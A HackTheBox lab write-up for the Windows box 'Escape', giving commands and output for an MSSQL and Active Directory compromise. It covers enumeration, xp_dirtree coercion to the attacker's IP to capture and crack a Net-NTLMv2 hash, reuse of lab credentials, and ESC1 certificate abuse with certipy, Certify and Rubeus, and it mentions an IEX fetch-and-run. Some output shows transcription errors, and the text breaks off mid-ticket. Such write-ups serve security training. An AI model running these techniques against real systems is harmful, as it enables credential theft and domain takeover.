HackTheBox Writeup - Escape

```
#hackthebox #windows #autorecon #nmap #active-directory #crackmapexec #smbclient #impacket #mssqlclient #xp-dirtree

#responder #hashcat #evil-winrm #event-logs #Clear-Text-Credentials #adcs #ntpdate #faketime #certipy #certify #rubeus #rdp

#pass-the-hash #pass-the-ticket #xp-cmdshell #silver-ticket
```

Escape is a very Windows-centeric box focusing on MSSQL Server and Active Directory Certificate Services (ADCS). I'll start by finding some MSSQL creds on an open file share. With those, I'll use xp_dirtree to get a Net-NTLMv2 challenge/response and crack that to get the sql_svc password. That user has access to logs that contain the next user's creds. To get administrator, I'll attack active directory certificate services, showing both certify and certipy. In Beyond Root, I'll show an alternative vector using a silver ticket attack from the first user to get file read as administrator through MSSQL.

Recon

CrackMapExec

Autorecon

```
sudo $(which autorecon) -vv sequel.htb
```

Nmap

```
r (kali⊕kali)-[~/.../Escape/results/sequel.htb/scans]
# Nmap 7.94 scan initiated Sun Jun 25 03:01:40 2023 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN
/home/kali/htb/Escape/results/sequel.htb/scans/ full tcp nmap.txt -oX
/home/kali/htb/Escape/results/sequel.htb/scans/xml/ full tcp nmap.xml sequel.htb
Nmap scan report for sequel.htb (10.10.11.202)
Host is up, received user-set (0.057s latency).
Scanned at 2023-06-25 03:01:40 EDT for 200s
Not shown: 65515 filtered tcp ports (no-response)
PORT
         STATE SERVICE
                             REASON
                                             VERSION
53/tcp
         open domain
                             syn-ack ttl 127 Simple DNS Plus
         open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-06-25 15:03:18Z)
88/tcp
135/tcp
                             syn-ack ttl 127 Microsoft Windows RPC
         open msrpc
139/tcp
         open netbios-ssn
                            syn-ack ttl 127 Microsoft Windows netbios-ssn
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-
389/tcp
         open ldap
Site-Name)
ssl-date: 2023-06-25T15:05:00+00:00; +8h00m00s from scanner time.
 ssl-cert: Subject: commonName=dc.sequel.htb
 Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
 Issuer: commonName=sequel-DC-CA/domainComponent=sequel
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2022-11-18T21:20:35
 Not valid after: 2023-11-18T21:20:35
 MD5: 869f:7f54:b2ed:ff74:708d:1a6d:df34:b9bd
 SHA-1: 742a:b452:2191:3317:6739:5039:db9b:3b2e:27b6:f7fa
 ----BEGIN CERTIFICATE----
----END CERTIFICATE----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp
         open kpasswd5?
                             syn-ack ttl 127
                            syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
593/tcp
         open ncacn http
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```
636/tcp open ssl/ldap
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-
Site-Name)
 ssl-cert: Subject: commonName=dc.sequel.htb
 Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
 Issuer: commonName=sequel-DC-CA/domainComponent=sequel
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2022-11-18T21:20:35
 Not valid after: 2023-11-18T21:20:35
 MD5: 869f:7f54:b2ed:ff74:708d:1a6d:df34:b9bd
  SHA-1: 742a:b452:2191:3317:6739:5039:db9b:3b2e:27b6:f7fa
 ----BEGIN CERTIFICATE----
----END CERTIFICATE----
ssl-date: 2023-06-25T15:05:00+00:00; +8h00m01s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
ssl-cert: Subject: commonName=SSL Self Signed Fallback
 Issuer: commonName=SSL Self Signed Fallback
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2023-06-23T13:25:32
 Not valid after: 2053-06-23T13:25:32
 MD5: 29ff:b683:183d:4a14:7314:ae14:97d8:ae6b
 SHA-1: f088:ce5a:cc6e:e47e:d15e:4d04:b978:0934:e896:60e3
 ----BEGIN CERTIFICATE----
----END CERTIFICATE----
ssl-date: 2023-06-25T15:05:00+00:00; +8h00m00s from scanner time.
 ms-sql-ntlm-info:
   10.10.11.202:1433:
     Target Name: sequel
     NetBIOS_Domain_Name: sequel
     NetBIOS Computer Name: DC
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```
DNS Domain Name: sequel.htb
     DNS_Computer_Name: dc.sequel.htb
      DNS Tree Name: sequel.htb
     Product Version: 10.0.17763
 ms-sal-info:
   10.10.11.202:1433:
     Version:
       name: Microsoft SOL Server 2019 RTM
       number: 15.00.2000.00
       Product: Microsoft SOL Server 2019
       Service pack level: RTM
       Post-SP patches applied: false
     TCP port: 1433
3268/tcp open ldap
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-
Site-Name)
ssl-cert: Subject: commonName=dc.sequel.htb
 Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
 Issuer: commonName=sequel-DC-CA/domainComponent=sequel
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2022-11-18T21:20:35
 Not valid after: 2023-11-18T21:20:35
 MD5: 869f:7f54:b2ed:ff74:708d:1a6d:df34:b9bd
 SHA-1: 742a:b452:2191:3317:6739:5039:db9b:3b2e:27b6:f7fa
  ----BEGIN CERTIFICATE----
----END CERTIFICATE----
ssl-date: 2023-06-25T15:05:00+00:00; +8h00m00s from scanner time.
3269/tcp open ssl/ldap
                             syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-
Site-Name)
ssl-date: 2023-06-25T15:05:00+00:00; +8h00m01s from scanner time.
ssl-cert: Subject: commonName=dc.sequel.htb
 Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
Issuer: commonName=sequel-DC-CA/domainComponent=sequel
```

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Public Key type: rsa
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 Not valid before: 2022-11-18T21:20:35
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 MD5: 869f:7f54:b2ed:ff74:708d:1a6d:df34:b9bd
  SHA-1: 742a:b452:2191:3317:6739:5039:db9b:3b2e:27b6:f7fa
  ----BEGIN CERTIFICATE----
----END CERTIFICATE----
5985/tcp open http
                             syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http-title: Not Found
http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf
                             syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
                             syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49687/tcp open ncacn http
49688/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49704/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
54908/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
 smb2-time:
    date: 2023-06-25T15:04:23
 start date: N/A
 p2p-conficker:
```

```
Checking for Conficker.C or higher...
   Check 1 (port 63970/tcp): CLEAN (Timeout)
   Check 2 (port 17137/tcp): CLEAN (Timeout)
   Check 3 (port 50586/udp): CLEAN (Timeout)
   Check 4 (port 58966/udp): CLEAN (Timeout)
 0/4 checks are positive: Host is CLEAN or ports are blocked
clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
 smb2-security-mode:
   3:1:1:
     Message signing enabled and required
TRACEROUTE (using port 445/tcp)
HOP RTT
             ADDRESS
   56.98 ms 10.10.14.1
  57.38 ms sequel.htb (10.10.11.202)
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 25 03:05:00 2023 -- 1 IP address (1 host up) scanned in 199.51 seconds
```

Got dc.sequel.htb from ssl common name

```
echo '10.10.11.202 dc.sequel.htb' >> /etc/hosts
```

445 - SMB Share

3269 - Certificate Service

Acknowledge there's a certificate authority via visiting port 3268

```
      Website Identity

      Website:
      sequel.htb

      Owner:
      This website does not supply ownership information.

      Verified by:
      CN=sequel-DC-CA,DC=sequel,DC=htb

      View Certificate
```

From nmap result

```
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
```

Shares

Enumerate shares success with guest user

```
r (kali⊕kali)-[~/.../results/sequel.htb/scans/tcp445]
└─$ cme smb sequel.htb -u 'a' -p '' --shares
                                                     [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True)
SMB
            sequel.htb
                            445
                                   DC
(SMBv1:False)
SMB
            sequel.htb
                            445
                                   DC
                                                     [+] sequel.htb\a:
            sequel.htb
                                                     [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
SMB
                            445
                                   DC
            sequel.htb
                                                     [+] Enumerated shares
SMB
                            445
                                   DC
            sequel.htb
SMB
                            445
                                   DC
                                                     Share
                                                                     Permissions
                                                                                      Remark
SMB
            sequel.htb
                            445
                                   DC
            sequel.htb
SMB
                            445
                                   DC
                                                     ADMIN$
                                                                                      Remote Admin
                                                     C$
SMB
            sequel.htb
                            445
                                   DC
                                                                                     Default share
            sequel.htb
                                                     IPC$
                                                                                      Remote IPC
SMB
                            445
                                   DC
                                                                     READ
            sequel.htb
SMB
                            445
                                   DC
                                                     NETLOGON
                                                                                     Logon server share
SMB
            sequel.htb
                            445
                                                     Public
                                                                     READ
                                   DC
            sequel.htb
SMB
                            445
                                   DC
                                                     SYSVOL
                                                                                     Logon server share
```

Users

Since we have read access to \$IPC, it's possible to brute force users via RID

```
—(kali⊕kali)-[~/htb/Escape]
└$ cme smb sequel.htb -u 'a' -p '' --rid-brute --users --loggedon-users
SMB
            seauel.htb
                            445
                                   DC
                                                     [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True)
(SMBv1:False)
SMB
            sequel.htb
                            445
                                   DC
                                                     [+] sequel.htb\a:
SMB
            seauel.htb
                            445
                                   DC
                                                     [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
SMB
            seauel.htb
                            445
                                   DC
                                                     [+] Enumerated loggedon users
SMB
            sequel.htb
                            445
                                                     [-] Error enumerating domain users using dc ip sequel.htb: NTLM needs
                                   DC
domain\username and a password
                                                     [*] Trying with SAMRPC protocol
SMB
            sequel.htb
                            445
                                   DC
SMB
            sequel.htb
                            445
                                   DC
                                                     [+] Brute forcing RIDs
SMB
            sequel.htb
                                                     498: sequel\Enterprise Read-only Domain Controllers (SidTypeGroup)
                            445
                                   DC
SMB
            seauel.htb
                            445
                                   DC
                                                     500: sequel\Administrator (SidTvpeUser)
SMB
            sequel.htb
                            445
                                   DC
                                                     501: sequel\Guest (SidTypeUser)
SMB
            sequel.htb
                            445
                                                     502: sequel\krbtgt (SidTypeUser)
                                   DC
            seauel.htb
SMB
                            445
                                   DC
                                                     512: sequel\Domain Admins (SidTypeGroup)
SMB
            seauel.htb
                            445
                                   DC
                                                     513: sequel\Domain Users (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     514: sequel\Domain Guests (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     515: sequel\Domain Computers (SidTypeGroup)
            sequel.htb
                                                     516: sequel\Domain Controllers (SidTypeGroup)
SMB
                            445
                                   DC
                                                     517: sequel\Cert Publishers (SidTypeAlias)
SMB
            sequel.htb
                            445
                                   DC
            sequel.htb
                                                     518: sequel\Schema Admins (SidTypeGroup)
SMB
                            445
                                   DC
SMB
            sequel.htb
                            445
                                   DC
                                                     519: sequel\Enterprise Admins (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     520: sequel\Group Policy Creator Owners (SidTypeGroup)
SMB
            sequel.htb
                                                     521: sequel\Read-only Domain Controllers (SidTypeGroup)
                            445
                                   DC
            sequel.htb
                            445
                                                     522: sequel\Cloneable Domain Controllers (SidTypeGroup)
SMB
                                   DC
SMB
            seauel.htb
                            445
                                   DC
                                                     525: sequel\Protected Users (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     526: sequel\Key Admins (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     527: sequel\Enterprise Key Admins (SidTypeGroup)
SMB
            sequel.htb
                            445
                                   DC
                                                     553: sequel\RAS and IAS Servers (SidTypeAlias)
SMB
            sequel.htb
                            445
                                   DC
                                                     571: sequel\Allowed RODC Password Replication Group (SidTypeAlias)
SMB
            sequel.htb
                                                     572: sequel\Denied RODC Password Replication Group (SidTypeAlias)
                            445
                                   DC
SMB
            sequel.htb
                                                     1000: sequel\DC$ (SidTypeUser)
                            445
                                   DC
SMB
            sequel.htb
                                                     1101: sequel\DnsAdmins (SidTypeAlias)
                            445
                                   DC
SMB
            sequel.htb
                            445
                                   DC
                                                     1102: sequel\DnsUpdateProxy (SidTypeGroup)
```

```
SMB
            sequel.htb
                            445
                                   DC
                                                    1103: sequel\Tom.Henn (SidTypeUser)
            sequel.htb
                                                    1104: sequel\Brandon.Brown (SidTypeUser)
SMB
                            445
                                   DC
            seauel.htb
                                                    1105: sequel\Ryan.Cooper (SidTypeUser)
SMB
                            445
                                   DC
            sequel.htb
                                                    1106: sequel\sql svc (SidTypeUser)
SMB
                            445
                                   DC
            sequel.htb
                                                    1107: sequel\James.Roberts (SidTypeUser)
SMB
                            445
                                   DC
            sequel.htb
SMB
                                                    1108: sequel\Nicole.Thompson (SidTypeUser)
                            445
                                   DC
SMB
            sequel.htb
                                                    1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)
                            445
                                   DC
```

User Flag

Enumerate SMB shares

```
r (kali⊕kali)-[~/.../results/sequel.htb/scans/tcp445]
└─$ smbclient //sequel.htb/Public -U "a%"
Try "help" to get a list of possible commands.
smb: \> ls
                                      D
                                               0 Sat Nov 19 06:51:25 2022
                                      D
                                               0 Sat Nov 19 06:51:25 2022
  SQL Server Procedures.pdf
                                           49551 Fri Nov 18 08:39:43 2022
                5184255 blocks of size 4096, 1406598 blocks available
smb: \> mget *
Get file SQL Server Procedures.pdf? y
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (141.5 KiloBytes/sec) (average 141.5
KiloBytes/sec)
smb: \>
```

Procedures.pdf

4. Access the database and make that you need, Everything will be resynced with the Live server overhight.

Accessing from non domain joined machine

Accessing from non domain joined machines can be a little harder.

The procedure is the same as the domain joined machine but you need to spawn a command prompt and run the following command: cmdkey /add:"<serverName>.sequel.htb" /user:"sequel\<userame>" /pass:<password>. Follow the other steps from above procedure.

If any problem arises, please send a mail to Brandon

Bonus

For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with user PublicUser and password GuestUserCantWrite1.

Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

Use xp_dirtree to get net NTLM Hash

Can't use winrm

```
r (kali⊕kali)-[~/htb/Escape]

L$ cme winrm sequel.htb -u 'PublicUser' -p 'GuestUserCantWrite1'

SMB sequel.htb 5985 DC [*] Windows 10.0 Build 17763 (name:DC) (domain:sequel.htb)
```

```
HTTP sequel.htb 5985 DC [*] http://sequel.htb:5985/wsman
WINRM sequel.htb 5985 DC [-] sequel.htb\PublicUser:GuestUserCantWrite1
```

Login to mssql

```
(kali⊕kali)-[~/htb/Escape]

$\psi$ mssqlclient.py PublicUser:GuestUserCantWrite1@sequel.htb

Impacket v0.10.1.dev1+20230620.44942.4888172 - Copyright 2022 Fortra

[*] Encryption required, switching to TLS

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master

[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english

[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.

[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.

[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)

[!] Press help for extra shell commands

SQL (PublicUser guest@master)>
```

Tried:

- enum_db
- enable_xp_cmdshell
- xp cmdshell

Start responder to recieve Net NTLM hash

```
┌──(kali®kali)-[~/htb/Escape]
└─$ sudo responder -A -I tun0 -v
```

Use dirtree to send request

```
SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.72\s
[%] exec master.sys.xp_dirtree '\\10.10.14.72\s',1,1
```

Crack sql_svc 's Net NTLM hash

hashcat netntlm.hash /opt/wordlists/rockyou.txt

Login with winrm as SQL_SVC and discover logs

```
machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql svc\Documents>
*Evil-WinRM* PS C:\Users\sql svc\Documents> cd C:\
*Evil-WinRM* PS C:\> ls -Force
   Directory: C:\
                   LastWriteTime
                                        Length Name
Mode
                   _____
_ _ _ _
d--hs-
              2/1/2023 6:37 PM
                                               $Recycle.Bin
             7/20/2021 12:20 PM
                                               Documents and Settings
d--hsl
d----
                                               PerfLogs
             2/1/2023 8:15 PM
              2/6/2023 12:08 PM
d-r---
                                               Program Files
d----
            11/19/2022 3:51 AM
                                               Program Files (x86)
d--h--
          6/24/2023 9:12 AM
                                               ProgramData
d----
            11/19/2022
                        3:51 AM
                                               Public
d--hs-
            7/20/2021 12:20 PM
                                               Recovery
d----
             2/1/2023 1:02 PM
                                               SQLServer
d--hs-
            11/18/2022
                        9:09 AM
                                               System Volume Information
d-r---
             2/1/2023
                        1:55 PM
                                               Users
d----
             6/25/2023
                        8:49 AM
                                               Windows
-a-hs-
             6/23/2023 6:24 AM
                                     738197504 pagefile.sys
*Evil-WinRM* PS C:\> cd SQLServer
*Evil-WinRM* PS C:\SQLServer> ls
   Directory: C:\SQLServer
```

```
Length Name
Mode
                   LastWriteTime
                   _____
_ _ _ _
                                         _____
d----
             2/7/2023 8:06 AM
                                               Logs
d----
            11/18/2022 1:37 PM
                                               SQLEXPR 2019
            11/18/2022 1:35 PM
                                       6379936 sqlexpress.exe
-a---
                                     268090448 SQLEXPR x64 ENU.exe
          11/18/2022 1:36 PM
-a---
*Evil-WinRM* PS C:\SQLServer> cd Logs
*Evil-WinRM* PS C:\SQLServer\Logs> ls
    Directory: C:\SQLServer\Logs
Mode
                   LastWriteTime
                                         Length Name
        2/7/2023 8:06 AM
                                         27608 ERRORLOG.BAK
-a---
*Evil-WinRM* PS C:\SQLServer\Logs> cat ERRORLOG.BAK
2022-11-18 13:43:05.96 Server
                                 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
       Sep 24 2019 13:48:23
       Copyright (C) 2019 Microsoft Corporation
       Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)
2...
2022-11-18 13:43:07.44 spid51
                                  Changed database context to 'master'.
2022-11-18 13:43:07.44 spid51
                                  Changed language setting to us_english.
                                  Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon
2022-11-18 13:43:07.44 Logon
                                  Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the
login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon
                                  Error: 18456, Severity: 14, State: 8.
```

```
Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login
2022-11-18 13:43:07.48 Logon
provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51
                                   Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No
user action is required.
2022-11-18 13:43:07.76 spid51
                                   Using 'xpstar.dll' version '2019.150.2000' to execute extended stored procedure
'xp sqlagent is starting'. This is an informational message only; no user action is required.
2022-11-18 13:43:08.24 spid51
                                   Changed database context to 'master'.
2022-11-18 13:43:08.24 spid51
                                   Changed language setting to us english.
                                   SQL Server is terminating in response to a 'stop' request from Service Control Manager. This is
2022-11-18 13:43:09.29 spid9s
an informational message only. No user action is required.
2022-11-18 13:43:09.31 spid9s
                                   .NET Framework runtime has been stopped.
                                   SQL Trace was stopped due to server shutdown. Trace ID = '1'. This is an informational message
2022-11-18 13:43:09.43 spid9s
only; no user action is required.
```

sequel.htb\Ryan.Cooper accidently typed password in username field

• Got creds: sequel.htb\Ryan.Cooper:NuclearMosquito3

Verify with crackmapexec

Login with winrm

```
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cat ../Desktop/user.txt

96c332d8a6ad860c9e2566349cd8a26b

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>
```

Root Flag

Run winpeas

```
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload ../../../opt/sectools/win/winpeas/2022/winPEASany_ofs.exe *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\winPEASany_ofs.exe
```

Did not find useful result

Abuse Certificates (Template allows SAN)

Refer - The Hacker Recipe

Use crackmapexec to gather the info of certificate service

```
r—(kali⊕kali)-[~/htb/Escape]
└─$ cme ldap dc.sequel.htb -u 'Ryan.Cooper' -p 'NuclearMosquito3' -M adcs
            dc.sequel.htb 445
                                                   [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True)
SMB
                                  DC
(SMBv1:False)
           dc.sequel.htb 636
                                                   [+] sequel.htb\Ryan.Cooper:NuclearMosquito3
LDAPS
                                  DC
           dc.sequel.htb
                                                   [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
LDAPS
                          636
                                  DC
ADCS
                                                   Found PKI Enrollment Server: dc.sequel.htb
ADCS
                                                   Found CN: sequel-DC-CA
```

Method 1 - From Linux (Remotely)

Find vulnerable certificates

https://github.com/GhostPack/Certify

```
r—(kali⊕kali)-[~/htb/Escape]
└$ certipy find -vulnerable -u ryan.cooper -p 'NuclearMosquito3' -dc-ip 10.10.11.202
Certipy v4.5.1 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED
- General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Saved BloodHound data to '20230625114917 Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230625114917 Certipy.txt'
[*] Saved JSON output to '20230625114917_Certipy.json'
```

Certificate Templates Template Name : UserAuthentication Display Name : UserAuthentication Certificate Authorities : sequel-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms **PublishToDs** : ExportableKey Private Key Flag Extended Key Usage : Client Authentication Secure Email **Encrypting File System** Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 10 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions **Enrollment Permissions** Enrollment Rights : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Domain Users SEQUEL.HTB\Enterprise Admins Object Control Permissions Owner : SEQUEL.HTB\Administrator Write Owner Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator Write Dacl Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator Write Property Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator [!] Vulnerabilities : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication ESC1

- 3. THESHIRE\Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)
 - This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).

```
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Saved certificate and private key to 'administrator.pfx'
```

Request TGT

```
certipy auth -pfx administrator.pfx

[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

### Clock skew too great

Methods to sync time with DC

1. sudo ntpdate sequel.htb

2. faketime $TIME_STRING zsh
```

I had issue using ntpdate, date will auto reset after 5 seconds, so use faketime instead

Method 2 - From Windows (Locally)

Using PowerSharpPack to achieve fileless using powershell

Use **SharpCollection** for binaries

If using powershell script with evil-winrm's -s options loads extremely slow, just use net.webclient + IEX instead

```
evil-winrm -i sequel.htb -u 'Ryan.Cooper' -p 'NuclearMosquito3' -s /opt/sectools/powerSharpPack/PowerSharpBinaries
```

```
Invoke-Certify.ps1
Invoke-Certify find /vulnerable
```

Vulnerable Certificates Templates : CA Name : dc.sequel.htb\sequel-DC-CA Template Name : UserAuthentication Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email Permissions **Enrollment Permissions** : sequel\Domain Admins **Enrollment Rights** S-1-5-21-4078382237-1492182817-2568127209-512 sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513 sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519 Object Control Permissions : sequel\Administrator Owner S-1-5-21-4078382237-1492182817-2568127209-500

Request a certificate impersonating alternative user name

Invoke-Certify request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

```
VYTDIPDIVSquQ2Yu+0iUQlusPgQgHh80IgtQ8CFVx80p83dG0AETqKPJP56AL4RD
Vt+04Mjl3Bfvf92zUCVB4pIKS5y2dEa8gyfPS3RygkzliCh2CPkluCO0F70QlR0b
0NIO5c8TMXFHXjeWyPEP1GgSVmq2Ig==
----END CERTIFICATE----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

C3rt1fy completed in 00:00:13.6007729
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>
```

```
# Write the cert recieved to kali
vi cert.pem
```

```
# Generate PFX, Just hit enter when prompting for password openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

Upload pfx in evil-winrm

upload cert.pfx

Use **rubeus** to pass the certificate

```
Invoke-Rubeus.ps1
Invoke-Rubeus /?
```

Keep in mind Invoke-Rubeus commands needs to be wrap under -Command

```
Invoke-Rubeus -Command 'asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx /getcredentials /show /nowrap'
```



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[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb

[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\administrator'

[+] TGT request successful!

[*] base64(ticket.kirbi):

doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzAdoAMCAQKhFjAlLd7DAlxXY02pU8qlEFEo1f2Wr7wGQSd5izVXwTbbM6/sjXNuOlmZ33YCdlrmOVTMSjwV3LD336gdeBnsveBZVR5QEkxYXlhPTf8jZKoTHanPeg7KnIt1CAnQJRJV0gaAy8oKMvYsNRLG1NuBj/5K+YXZS1np5uEkPJPXMQlMcDCSM/bHkGiK84bL+Ailz+BqdskMAAGxZqUgOcsuFcOVlCdHeJakg9MH6zFMdsBzqxyiCqn74/H0IqqWQKGKLj3KZmc6HYrXUVvxJ8BDpLXX12cWK8tr+h6ljJx8+HrrAhOsusZs+rPTfQZatyG52nJHR5wgx9HrECLlq4SkRlo83k13GLZ0oBy0Jg/YlxS57MetDfOVa3jnNWlx2l+6vWq6WF+kwrHzsFuDULrcgzUo5hUEwwkFi3yu3j46ep7116LQfWsV2eyv7/WhdZoSh/X+l+Ga+nYk9sWIo9YcR/5UvgzPHkBw/kWf7gQ+51hHH7H1qIxs50UoUn8u5XyiYs8ngbvBfZB41MmezRNSwYTcHRwehVR5KOehEOi5JkCwhN81P0VYRFiJYIvbMGYAcnCTmxWOf5WBDWUyXzELWbyR6D7cFeYMiPSjSSOLM13Wefenf5ElHs5nOiJB3yxCKcZN9FTVyPl8Q8lUeqZyQKCRPv3dng4ImDEtC2m5Y4/w029Ikl07WGcw6RYM97b57bpT8V/4+ulqmemfFPNGnBWvjPRFqQ3rJ7v4Q1GbvDZgJS92kOlAooHKBIHHfYHEMIHBoIG+MIG7MIG4oBswGaADAgEXoRIEEE3+LC7xyJBQfYV6K1dVJymhDBsKU0VRVUVMLkhUQqIaMBigxNVqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==

